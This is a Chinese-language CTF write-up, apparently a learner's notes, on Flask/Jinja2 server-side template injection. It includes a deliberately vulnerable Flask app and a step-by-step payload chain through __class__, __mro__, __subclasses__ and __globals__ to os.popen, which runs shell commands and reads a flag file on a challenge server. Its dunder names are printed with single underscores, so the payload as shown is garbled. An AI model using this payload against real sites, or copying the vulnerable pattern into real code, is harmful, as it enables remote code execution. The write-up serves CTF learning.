本文仅记录我自己的学习过程和总结
页面:
英语比较菜,百度翻译后才知道是python模板注入漏洞的题目,对于我这样一个小白来说(内心:什么鬼???!!!),只好Google一下(看到了好多优秀的文章会在末尾放出)
什么是模板?
模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
如果学过JSP的话会发现是不是跟编写动态网页差不多,或者说是一模一样,还有这跟MVC模式下的M(模型)是不是很像,编写好关键的代码,只要得到数据就能利用JSP引擎来生成HTML页面,那么python模板的HTML页面由谁生成?模板引擎来完成
简单来理解过程:服务器拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器
flask是python中流行的模板,使用Jinja2来作为渲染引擎(模板引擎).
{{}}在Jinja2中作为变量包裹标识符,可用于标识变量以及命令执行
@app.route('/')
使用route()装饰器告诉Flask什么样的URL能触发我们的函数.route()装饰器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由跟随一个函数,如
@app.route('/')
def test()"
return 123
@app.route('/')
@app.route('/index')#我们访问/或者/index都会跳转
def index():
user = {'name': '小猪佩奇'}#传入一个字典数组
return render_template("index.html",title='Home',user=user)//index.html就是要被渲染的一个模板文件,有两个要传入的参数
@app.route('/')
@app.route('/index')#我们访问/或者/index都会跳转
def index():
str='''
Hello,%s
'''%(code)//code传入之后用于替代%S
return render_template_string(str);//str是用于被渲染的字符串
一个经典的ssti服务端模板注入漏洞代码
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
template = '''
Oops! That page doesn't exist.
%s
''' %(request.url)
return render_template_string(template)
if __name__ == '__main__':
app.debug = True
app.run()
模板本身是没有问题的,有问题的是人.上面代码代码中%(request.url)是由用户控制的,是不可靠的输入,还记得{{}}它不仅仅可以用来标识变量,还有用来执行命令,这仅仅还不够,还要搭配render_template_string()才能成功执行漏洞,render_template()会对输入的参数进行重新编码,使得即使是用户可控的参数,也只能是作为字符串.
总的思路是:找父类
几个魔术方法
_class_ 返回类型所属的对象
_mro_ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
_base_ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
_subclasses_ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
_init_ 类的初始化方法
_globals_ 对包含函数全局变量的字典的引用
因此在实际使用的是应该随机应变的构造payload
本题解法
1.测试是否存在漏洞:http://220.249.52.133:49160 /{{7*7}}:url根据实际的来
返回:URL http://220.249.52.133:49160/49 not found 经典的404报错,也证明了存在漏洞
2.找到当前变量所在的类:http://220.249.52.133:49160 /{{’ '.class}}
返回:URL http://220.249.52.133:49160/
3.从这个类找到它的基类:http://220.249.52.133:49160 /{{’ '._class_._mro_}}
返回:URL http://220.249.52.133:49160(
4.通过基类来找其中任意一个基类的引用列表:{{’ '._class_._mro_[2]._subclasses_()}}
返回:服务器回复了很长的一个列表,从中可以找到我们想要的 os所在的 site._Printer 类,它在列表的第七十二位,即 _subclasses_()[71](0也是一个类) 。
这里有个小细节,_mro_[]中括号里填谁其实区别都不大,这些基类引用的东西都一样。
5.直接填命令语句:通过 _subclasses_()[71]._init_._globals_[‘os’].popen(‘命令
行语句’).read() 来 调用服务器的控制台 并显示 ,这下我们就可以随便用控制台输出了。
将ls传入会得到当前目录下的文件,会发现一个fl4g的文件
在将cat fl4g传入就可以获得flag
参考链接:
[1]:https://xz.aliyun.com/t/3679#toc-2
[2]:https://p0sec.net/index.php/archives/120/
[3]:https://www.cnblogs.com/tr1ple/p/9415641.html
[4]:https://www.freebuf.com/column/187845.html
[5]:python官方文档
[6]:攻防世界的wp
*若有不足,请指教,转载请表明出处